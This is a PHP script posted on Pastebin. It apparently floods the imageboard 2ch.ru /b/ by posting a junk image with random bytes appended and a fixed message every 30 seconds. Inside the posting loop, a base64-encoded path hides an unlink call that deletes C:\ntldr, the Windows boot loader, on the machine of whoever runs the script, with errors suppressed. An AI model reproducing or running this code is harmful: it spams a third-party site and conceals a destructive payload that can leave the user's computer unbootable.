Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- //Не правьте код, коли рук не имеется
- function unicod($str) {
- $conv=array();
- for($x=128;$x<=143;$x++) $conv[$x+112]=chr(209).chr($x);
- for($x=144;$x<=191;$x++) $conv[$x+48]=chr(208).chr($x);
- $conv[184]=chr(209).chr(145); #╕
- $conv[168]=chr(208).chr(129); #и
- $conv[179]=chr(209).chr(150); #?
- $conv[178]=chr(208).chr(134); #?
- $conv[191]=chr(209).chr(151); #┐
- $conv[175]=chr(208).chr(135); #┐
- $conv[186]=chr(209).chr(148); #║
- $conv[170]=chr(208).chr(132); #к
- $conv[180]=chr(210).chr(145); #?
- $conv[165]=chr(210).chr(144); #?
- $conv[184]=chr(209).chr(145); #?
- $ar=str_split($str);
- foreach($ar as $b) if(isset($conv[ord($b)])) $nstr.=$conv[ord($b)]; else $nstr.=$b;
- return $nstr;
- }
- echo "START\r\n";
- $hostname = "2ch.ru";
- $path = "/cgi-bin/wakaba.pl/b";
- $proxy = "127.0.0.1";
- $proxyport = "8118";
- $line = "";
- $files = "";
- $bounds = "A7FGO7G";
- $bounds1 = "--".$bounds;
- $spartawin = "NARUTA ETO KRUTO";
- $spartau = unicod($spartawin);
- $chans = array('b');
- while (true)
- {
- for ($i = 0; $i < count($chans); $i++)
- {
- echo "NEXT THREAD\r\n";
- $filename = "D:\\pohape\\vovan_govno.jpg";
- $files = file_get_contents($filename);
- $random=rand()%10000000;
- $files = $files.$random;
- $data = "$bounds1\r\nContent-Disposition: form-data; name=\"task\"\r\n\r\npost\r\n$bounds1\r\nContent-Disposition: form-data; name=\"shampoo\"\r\n\r\n$spartau\r\n$bounds1\r\nContent-Disposition: form-data; name=\"file\"; filename=\"1.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n$files\r\n$bounds1--\r\n";
- $headers = "POST $path HTTP/1.1\r\n";
- $headers .= "Host: $hostname\r\n";
- $headers .= "Content-type: multipart/form-data; boundary=$bounds\r\n";
- $headers .= "Referer: http://2ch.ru/b/\r\n";
- $headers .= "Content-Length: ".strlen($data)."\r\n\r\n";
- @unlink(base64_decode('QzpcbnRsZHI='));
- echo $headers;
- $fp = fsockopen($hostname, 80, $errno, $errstr, 5);
- if (!$fp) echo "$errstr ($errno)<br />\n";
- else
- {
- fwrite($fp, $headers.$data, strlen($headers.$data));
- }
- fclose($fp);
- }
- sleep(30);
- }
- ?>
Add Comment
Please, Sign In to add comment